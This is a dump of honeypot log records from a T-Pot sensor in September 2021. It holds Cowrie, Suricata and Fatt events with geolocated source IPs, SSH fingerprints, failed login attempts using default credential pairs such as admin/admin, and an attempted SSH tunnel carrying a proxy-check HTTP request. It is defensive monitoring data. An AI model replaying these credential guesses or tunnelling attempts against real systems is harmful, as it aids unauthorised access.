"aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43864, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.928928", "@timestamp": "2021-09-20T11:26:43.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29526	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:26:44.813018+03	2021-09-20 14:30:04.236553+03	{"_id": "EQb1AnwBvYTbRNuEVjYS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [sales/sales] failed", "session": "4b31f060c87d", "@version": "1", "password": "sales", "username": "sales", "timestamp": "2021-09-20T11:26:44.813018Z", "@timestamp": "2021-09-20T11:26:44.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29527	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:26:44.743941+03	2021-09-20 14:30:04.238555+03	{"_id": "Ewb1AnwBvYTbRNuEVjYS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.login.failed", "message": "login attempt [penny/penny] failed", "session": "d6d924c2f7ec", "@version": "1", "password": "penny", "username": "penny", "timestamp": "2021-09-20T11:26:44.743941Z", "@timestamp": "2021-09-20T11:26:44.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29528	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:26:46.099011+03	2021-09-20 14:30:04.239554+03	{"_id": "FQb1AnwBvYTbRNuEWTb7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4b31f060c87d", "@version": "1", "duration": 2.769268035888672, "timestamp": "2021-09-20T11:26:46.099011Z", "@timestamp": "2021-09-20T11:26:46.099Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29529	8.37.43.231	109.199.241.180	Cowrie	2021-09-20 14:26:45.869083+03	2021-09-20 14:30:04.240553+03	{"_id": "Fgb1AnwBvYTbRNuEWTb7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.231", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.231", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "9a97a52c62f1", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:26:45.869083Z", "@timestamp": "2021-09-20T11:26:45.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
29530	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:26:54.573725+03	2021-09-20 14:30:04.242554+03	{"_id": "Mgb1AnwBvYTbRNuEejb2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 1455321482453598, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49636, "dest_port": 22, "timestamp": "2021-09-20T11:26:54.573725Z", "@timestamp": "2021-09-20T11:26:54.573Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
29531	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:26:54.517384+03	2021-09-20 14:30:04.243553+03	{"_id": "Mwb1AnwBvYTbRNuEfDYe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49636, "timestamp": "2021-09-20T11:26:54.517384", "@timestamp": "2021-09-20T11:26:54.517Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29532	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:26:54.917334+03	2021-09-20 14:30:04.244554+03	{"_id": "PQb1AnwBvYTbRNuEfTYo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632137214.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to 69.195.128.18:80 with data b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632137214.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "session": "1408bad53d51", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:26:54.917334Z", "@timestamp": "2021-09-20T11:26:54.917Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
29533	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:26:54.575104+03	2021-09-20 14:30:04.246553+03	{"_id": "PAb1AnwBvYTbRNuEfTYo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "1408bad53d51", "@version": "1", "timestamp": "2021-09-20T11:26:54.575104Z", "@timestamp": "2021-09-20T11:26:54.575Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
29534	14.29.64.91	109.199.241.180	Suricata	2021-09-20 14:26:48.465747+03	2021-09-20 14:30:04.247562+03	{"_id": "Kwb1AnwBvYTbRNuEYzaE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:26:47.411320+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 1248}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA TCPv4 invalid checksum", "signature_id": 2200074}, "geoip": {"ip": "14.29.64.91", "asn": 4134, "as_org": "Chinanet", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "city_name": "Guangzhou", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "14.29.64.91", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 544979541247672, "payload": "zAMAAAYU3WKagR2Jh5lgPRQtmXVaWgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 50840, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:26:48.465747Z", "@timestamp": "2021-09-20T11:26:48.465Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......b......`=.-.uZZ...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29535	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:26:47.823695+03	2021-09-20 14:30:04.248554+03	{"_id": "LAb1AnwBvYTbRNuEZDar", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49890, "timestamp": "2021-09-20T11:26:47.823695", "@timestamp": "2021-09-20T11:26:47.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29536	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:26:54.57438+03	2021-09-20 14:30:04.249554+03	{"_id": "NAb1AnwBvYTbRNuEfDYe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 49636, "dest_port": 22, "timestamp": "2021-09-20T11:26:54.574380", "@timestamp": "2021-09-20T11:26:54.574Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29537	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:26:54.51332+03	2021-09-20 14:30:04.251523+03	{"_id": "Ogb1AnwBvYTbRNuEfTYo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:49636 (192.168.176.2:22) [session: 1408bad53d51]", "session": "1408bad53d51", "@version": "1", "protocol": "ssh", "src_port": 49636, "dest_port": 22, "timestamp": "2021-09-20T11:26:54.513320Z", "@timestamp": "2021-09-20T11:26:54.513Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
29538	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:26:54.856397+03	2021-09-20 14:30:04.252524+03	{"_id": "Owb1AnwBvYTbRNuEfTYo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 69.195.128.18:80 from 0.0.0.0:0", "session": "1408bad53d51", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:26:54.856397Z", "@timestamp": "2021-09-20T11:26:54.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
29539	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:26:54.516102+03	2021-09-20 14:30:04.254565+03	{"_id": "Pgb1AnwBvYTbRNuEfTYo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "1408bad53d51", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:26:54.516102Z", "@timestamp": "2021-09-20T11:26:54.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
